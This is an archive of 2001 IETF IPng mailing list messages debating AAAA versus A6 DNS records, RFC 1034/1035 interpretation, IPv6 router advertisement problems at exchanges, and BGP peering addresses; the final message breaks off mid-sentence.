<200105011349.IAA19056@gungnir.fnal.gov> To: Bill Manning Cc: ipng@sunroof.eng.sun.com From: "Matt Crawford" Subject: Re: was a6/aaaa - RA/ND & exchanges In-reply-to: Your message of Mon, 30 Apr 2001 23:38:31 PDT. <200105010638.f416cVJ17319@zed.isi.edu> Date: Tue, 01 May 2001 08:49:16 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > % With all due respect IPv6 is far superior to IPv4 for renumbering. > % Have you looked in depth at Neighbor Discovery, Stateless > % Autoconfiguration, and Router Renumbering RFCs. Then put them all > % together. Nothing I mean Nothing exists like this in IPv4. > > And it was hell to fix. Six routers sharing a broadcast domain. > All running ND & all running RA. Which Address do the BGP peer > on? Where does the spec say that routers configure addresses based on received RAs? Nowhere. It says that "Routers respond to Router Solicitations sent to the all-routers address and verify the consistency of Router Advertisements sent by neighboring routers." RFC 2461 section 6.2.7 details the consistency checks and concludes with "Any other action on reception of Router Advertisement messages by a router is beyond the scope of this document." It sounds like someone sold you a bum router implementation. > The Fix? Turn off ND & RA and statically configure the interfaces. I do not think you really meant you turned off Neighbor Solicitations and Neighbor Advertisements and staticly configured the Neighbor Caches. You could do that, but I can't imagine such a necessity. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 06:53:23 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41DrMIM001238 for ; Tue, 1 May 2001 06:53:22 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41DrLpp001237 for ipng-dist; Tue, 1 May 2001 06:53:21 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41Dr3IM001230 for ; Tue, 1 May 2001 06:53:04 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA02683 for ; Tue, 1 May 2001 06:53:03 -0700 (PDT) Received: from gungnir.fnal.gov (gungnir.fnal.gov [131.225.80.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA20158 for ; Tue, 1 May 2001 08:15:06 -0600 (MDT) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.9.1/8.9.1) with ESMTP id IAA19078; Tue, 1 May 2001 08:52:47 -0500 (CDT) Message-Id: <200105011352.IAA19078@gungnir.fnal.gov> To: "Bernie Volz (EUD)" Cc: "'namedroppers@ops.ietf.org'" , "'ipng@sunroof.eng.sun.com'" , "'dhcp-v6@bucknell.edu'" From: "Matt Crawford" Subject: Re: A6 and DNAME In-reply-to: Your message of Mon, 30 Apr 2001 15:58:08 CDT. <66F66129A77AD411B76200508B65AC694CBA41@eambunt705.ena-east.ericsson.se> Date: Tue, 01 May 2001 08:52:47 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > One more item to add to the recent discussion (which I've only partially > followed) on A6 and DNAME records is ... how are they created and used in > the first place? > > If one assumes that IPv6 addresses are automatically generated (either using > autoconfiguration or DHCPv6), then how does an A6 record with non-0 prefix > length ever get added in the first place? There hasn't been any method > developed (that I'm aware of) to communicate to a client or DHCPv6 server > that it should register these addresses under a given prefix. I don't think draft-ietf-ipngwg-prefix-rr-disc-00.txt has expired yet. Discussion is in order, although under a new "subject" line, please! -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 06:54:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41DsKIM001248 for ; Tue, 1 May 2001 06:54:21 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41DsKFL001247 for ipng-dist; Tue, 1 May 2001 06:54:20 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41Ds5IM001240 for ; Tue, 1 May 2001 06:54:05 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA26289 for ; Tue, 1 May 2001 06:54:05 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA14682 for ; Tue, 1 May 2001 06:54:03 -0700 (PDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f41DrUO12530; Tue, 1 May 2001 16:53:30 +0300 Date: Tue, 1 May 2001 16:53:30 +0300 (EEST) From: Pekka Savola To: Masataka Ohta cc: "D. J. Bernstein" , , Subject: Re: AAAA/A6 thing In-Reply-To: <200105011327.WAA10527@necom830.hpcl.titech.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 1 May 2001, Masataka Ohta wrote: > I don't know whether he fixed BIND correctly or not, but as Paul, > seemingly, did not understand the problem serious, I will not be > surprised if BIND is still broken. > > However, it does not affect the fact that your implementation is > broken. > > Your implementation is broken, not because it behaves differently > from BIND but because it can not handle a configuration perfectly > leagal with regard to RFC103[45]. Could you please show _exactly_ what part(s) you're referring to? It might help us mortals understand what's the crux here. Hopefully this could help (a bit) in putting the argument down too. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 07:08:44 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41E8fIM001285 for ; Tue, 1 May 2001 07:08:42 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41E8fRl001284 for ipng-dist; Tue, 1 May 2001 07:08:41 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41E8AIM001277 for ; Tue, 1 May 2001 07:08:17 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA22705 for ; Tue, 1 May 2001 07:08:10 -0700 (PDT) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA23816 for ; Tue, 1 May 2001 07:08:09 -0700 (PDT) From: Masataka Ohta Message-Id: <200105011401.XAA10659@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id XAA10659; Tue, 1 May 2001 23:01:22 +0900 Subject: Re: AAAA/A6 thing In-Reply-To: from Pekka Savola at "May 1, 2001 04:53:30 pm" To: Pekka Savola Date: Tue, 1 May 2001 23:01:22 +0859 () CC: "D. J. Bernstein" , ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka; > > I don't know whether he fixed BIND correctly or not, but as Paul, > > seemingly, did not understand the problem serious, I will not be > > surprised if BIND is still broken. > > > > However, it does not affect the fact that your implementation is > > broken. > > > > Your implementation is broken, not because it behaves differently > > from BIND but because it can not handle a configuration perfectly > > leagal with regard to RFC103[45]. > > Could you please show _exactly_ what part(s) you're referring to? If I say something is leagal with regard to RFC103[45], I am referring to the entire document of RFC103[45]. > It might help us mortals understand what's the crux here. As a crux, I already showed a very simple example with aol.com. and aol.net. Masataka Ohta -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 07:17:35 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41EHZIM001305 for ; Tue, 1 May 2001 07:17:35 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41EHY9L001304 for ipng-dist; Tue, 1 May 2001 07:17:34 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41EHPIM001297 for ; Tue, 1 May 2001 07:17:26 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA07596 for ; Tue, 1 May 2001 07:17:23 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA00710 for ; Tue, 1 May 2001 08:39:24 -0600 (MDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f41EGmo12672; Tue, 1 May 2001 17:16:48 +0300 Date: Tue, 1 May 2001 17:16:48 +0300 (EEST) From: Pekka Savola To: Masataka Ohta cc: "D. J. Bernstein" , Subject: Re: AAAA/A6 thing In-Reply-To: <200105011401.XAA10659@necom830.hpcl.titech.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk [ I dropped out namedroppers as they're not interested in this conversation ] On Tue, 1 May 2001, Masataka Ohta wrote: > Pekka; > > > > I don't know whether he fixed BIND correctly or not, but as Paul, > > > seemingly, did not understand the problem serious, I will not be > > > surprised if BIND is still broken. > > > > > > However, it does not affect the fact that your implementation is > > > broken. > > > > > > Your implementation is broken, not because it behaves differently > > > from BIND but because it can not handle a configuration perfectly > > > leagal with regard to RFC103[45]. > > > > Could you please show _exactly_ what part(s) you're referring to? > > If I say something is leagal with regard to RFC103[45], I am referring > to the entire document of RFC103[45]. Please show the main points why this should be accepted (and perhaps what misinterpretation/error caused it to be denied). "_I_ know but if you're so stupid you don't know, I'm not going to tell _you_" -attitude is not going to help anyone and is fruitless as a basis for settling the dispute. If you can come up with the specifics, Dan might actually be able to counter your claim. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 07:31:56 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41EVtIM001374 for ; Tue, 1 May 2001 07:31:55 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41EVtdH001373 for ipng-dist; Tue, 1 May 2001 07:31:55 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41EVjIM001366 for ; Tue, 1 May 2001 07:31:46 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA09148 for ; Tue, 1 May 2001 07:31:45 -0700 (PDT) Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA06915 for ; Tue, 1 May 2001 08:53:50 -0600 (MDT) Received: from zed.isi.edu (zed.isi.edu [128.9.160.57]) by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f41EVhP00586; Tue, 1 May 2001 07:31:43 -0700 (PDT) From: Bill Manning Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.8.6) id f41EVhj18426; Tue, 1 May 2001 07:31:43 -0700 Message-Id: <200105011431.f41EVhj18426@zed.isi.edu> Subject: Re: was a6/aaaa - RA/ND & exchanges To: crawdad@fnal.gov (Matt Crawford) Date: Tue, 1 May 2001 07:31:42 -0700 (PDT) Cc: bmanning@ISI.EDU (Bill Manning), ipng@sunroof.eng.sun.com In-Reply-To: <200105011349.IAA19056@gungnir.fnal.gov> from "Matt Crawford" at May 01, 2001 08:49:16 AM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % with "Any other action on reception of Router Advertisement messages % by a router is beyond the scope of this document." % % It sounds like someone sold you a bum router implementation. Sold? Not so. Still working with early release code from a number of vendors. Looks like more work still needs to be done to declare this "cooked". -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 07:38:20 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41EcJIM001396 for ; Tue, 1 May 2001 07:38:20 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41EcJil001395 for ipng-dist; Tue, 1 May 2001 07:38:19 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41Ec8IM001388 for ; Tue, 1 May 2001 07:38:08 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA09829 for ; Tue, 1 May 2001 07:38:08 -0700 (PDT) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA04975 for ; Tue, 1 May 2001 07:38:07 -0700 (PDT) From: Masataka Ohta Message-Id: <200105011426.XAA10792@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id XAA10792; Tue, 1 May 2001 23:26:18 +0900 Subject: Re: AAAA/A6 thing In-Reply-To: from Pekka Savola at "May 1, 2001 05:16:48 pm" To: Pekka Savola Date: Tue, 1 May 2001 23:26:18 +0859 () CC: "D. J. Bernstein" , ipng@sunroof.eng.sun.com X-Mailer: ELM [version 2.4ME+ PL68 (25)] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka; > > > > I don't know whether he fixed BIND correctly or not, but as Paul, > > > > seemingly, did not understand the problem serious, I will not be > > > > surprised if BIND is still broken. > > > > > > > > However, it does not affect the fact that your implementation is > > > > broken. > > > > > > > > Your implementation is broken, not because it behaves differently > > > > from BIND but because it can not handle a configuration perfectly > > > > leagal with regard to RFC103[45]. > > > > > > Could you please show _exactly_ what part(s) you're referring to? > > > > If I say something is leagal with regard to RFC103[45], I am referring > > to the entire document of RFC103[45]. > > Please show the main points why this should be accepted I say it leagal with regard to RFC103[45]. > (and perhaps what > misinterpretation/error caused it to be denied). A broken implementation (old BIND) has a well known security problem of cache contamination. Latter implementations are broken to wrongly fix the problem. > "_I_ know but if you're so stupid you don't know, I'm not going to tell > _you_" -attitude is not going to help anyone and is fruitless as a basis > for settling the dispute. Glue related problems are so subtle and complex that you are not stupid merely because you can not understand it. But I'm just tired of explaining it so many times for these 10 years. Masataka Ohta -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 08:11:08 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41FB8IM001466 for ; Tue, 1 May 2001 08:11:08 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41FB7kA001465 for ipng-dist; Tue, 1 May 2001 08:11:07 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41FAwIM001458 for ; Tue, 1 May 2001 08:10:58 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA04905 for ; Tue, 1 May 2001 08:10:57 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA26608 for ; Tue, 1 May 2001 09:33:00 -0600 (MDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f41FAOi12950; Tue, 1 May 2001 18:10:24 +0300 Date: Tue, 1 May 2001 18:10:23 +0300 (EEST) From: Pekka Savola To: Masataka Ohta cc: "D. J. Bernstein" , Subject: Re: AAAA/A6 thing In-Reply-To: <200105011426.XAA10792@necom830.hpcl.titech.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 1 May 2001, Masataka Ohta wrote: > Pekka; > > > > > > I don't know whether he fixed BIND correctly or not, but as Paul, > > > > > seemingly, did not understand the problem serious, I will not be > > > > > surprised if BIND is still broken. > > > > > > > > > > However, it does not affect the fact that your implementation is > > > > > broken. > > > > > > > > > > Your implementation is broken, not because it behaves differently > > > > > from BIND but because it can not handle a configuration perfectly > > > > > leagal with regard to RFC103[45]. > > > > > > > > Could you please show _exactly_ what part(s) you're referring to? > > > > > > If I say something is leagal with regard to RFC103[45], I am referring > > > to the entire document of RFC103[45]. > > > > Please show the main points why this should be accepted > > I say it leagal with regard to RFC103[45]. [snip] That does not prove anything. > > "_I_ know but if you're so stupid you don't know, I'm not going to tell > > _you_" -attitude is not going to help anyone and is fruitless as a basis > > for settling the dispute. > > Glue related problems are so subtle and complex that you are not stupid > merely because you can not understand it. I haven't even tried. > But I'm just tired of explaining it so many times for these 10 years. Perhaps you'd be as kind to provide a pointer to the full explanation then? After a couple of times explaining it, it might have been easier just to write a paper about it once. I do not consider your stand proven if it cannot be shown. The "proof" is not scientific; just a word against another. Along the same lines, I can very much understand if Dan does not accept your view. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 08:38:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41FcKIM001492 for ; Tue, 1 May 2001 08:38:20 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41FcK97001491 for ipng-dist; Tue, 1 May 2001 08:38:20 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41Fc8IM001484 for ; Tue, 1 May 2001 08:38:08 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA18362 for ; Tue, 1 May 2001 08:38:08 -0700 (PDT) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA24410 for ; Tue, 1 May 2001 08:38:06 -0700 (PDT) From: Masataka Ohta Message-Id: <200105011530.AAA11020@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id AAA11020; Wed, 2 May 2001 00:29:53 +0859 Subject: Re: AAAA/A6 thing In-Reply-To: from Pekka Savola at "May 1, 2001 06:10:23 pm" To: Pekka Savola Date: Wed, 2 May 2001 00:29:52 +0859 () CC: "D. J. Bernstein" , ipng@sunroof.eng.sun.com X-Mailer: ELM [version 2.4ME+ PL68 (25)] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka; > > > > > Could you please show _exactly_ what part(s) you're referring to? > > > > > > > > If I say something is leagal with regard to RFC103[45], I am referring > > > > to the entire document of RFC103[45]. > > > > > > Please show the main points why this should be accepted > > > > I say it leagal with regard to RFC103[45]. > [snip] > > That does not prove anything. The proof is already given. There are two ways to understand it. One is to fully understand all the details of RFC103[45], which you are incapable of. The other is to see whether Dan can provide a phrase of RFC103[45] to deny my example. As you can see, so far, Dan can not. > Perhaps you'd be as kind to provide a pointer to the full explanation > then? Yes. RFC103[45]. Masataka Ohta -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 09:46:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41GkoIM001667 for ; Tue, 1 May 2001 09:46:50 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41GknLD001666 for ipng-dist; Tue, 1 May 2001 09:46:49 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41GkeIM001659 for ; Tue, 1 May 2001 09:46:40 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA18134 for ; Tue, 1 May 2001 09:46:39 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA09225 for ; Tue, 1 May 2001 09:46:38 -0700 (PDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f41Gk5j13406; Tue, 1 May 2001 19:46:06 +0300 Date: Tue, 1 May 2001 19:46:05 +0300 (EEST) From: Pekka Savola To: Masataka Ohta cc: "D. J. Bernstein" , Subject: Re: AAAA/A6 thing In-Reply-To: <200105011530.AAA11020@necom830.hpcl.titech.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 2 May 2001, Masataka Ohta wrote: > Pekka; > > > > > > > Could you please show _exactly_ what part(s) you're referring to? > > > > > > > > > > If I say something is leagal with regard to RFC103[45], I am referring > > > > > to the entire document of RFC103[45]. > > > > > > > > Please show the main points why this should be accepted > > > > > > I say it leagal with regard to RFC103[45]. > > [snip] > > > > That does not prove anything. > > The proof is already given. In mathematics, if you want to prove something [esp. complex], you just can't toss a 1000-page book in front of someone and say "Believe me, it's there! It really _is_ there! Just read it enough many times and you might get it!". Steps to go backwards in your thinking, so that anyone with some skill can take it, are required. The same here. You've shown yourself incapable of proving your point. I doubt that too many people will side with, or understand, your "proof". For all we know, you could just have made up that it should be correct. > There are two ways to understand it. > > One is to fully understand all the details of RFC103[45], which > you are incapable of. > > The other is to see whether Dan can provide a phrase of RFC103[45] > to deny my example. I have the impression that most people consider it either "grey" or wrong; that was the way it was understood by the implementors at least. It is not his job to prove the incorrectness. You claim it is correct; You have to prove it. Please, take the time and explain the legality in more detail. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 10:14:33 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41HEWIM001752 for ; Tue, 1 May 2001 10:14:33 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41HEWBo001751 for ipng-dist; Tue, 1 May 2001 10:14:32 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41HELIM001744 for ; Tue, 1 May 2001 10:14:21 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA01554 for ; Tue, 1 May 2001 10:14:20 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA04563 for ; Tue, 1 May 2001 11:36:55 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 01D1C4B0B; Wed, 2 May 2001 02:14:14 +0900 (JST) To: Bill Manning , ipng@sunroof.eng.sun.com In-reply-to: crawdad's message of Tue, 01 May 2001 08:49:16 EST. <200105011349.IAA19056@gungnir.fnal.gov> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: addresses for BGP peering From: itojun@iijlab.net Date: Wed, 02 May 2001 02:14:13 +0900 Message-ID: <2025.988737253@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >> And it was hell to fix. Six routers sharing a broadcast domain. >> All running ND & all running RA. Which Address do the BGP peer >> on? from the above I don't know if Bill have autoconfigured routers... did you? anyway, i guess there's a separate issue - what is the best address to be used for BGP peering at random IXes. is it what you are talking about? my bet is that link-local address (for tcp endpoint address) has the best resistance 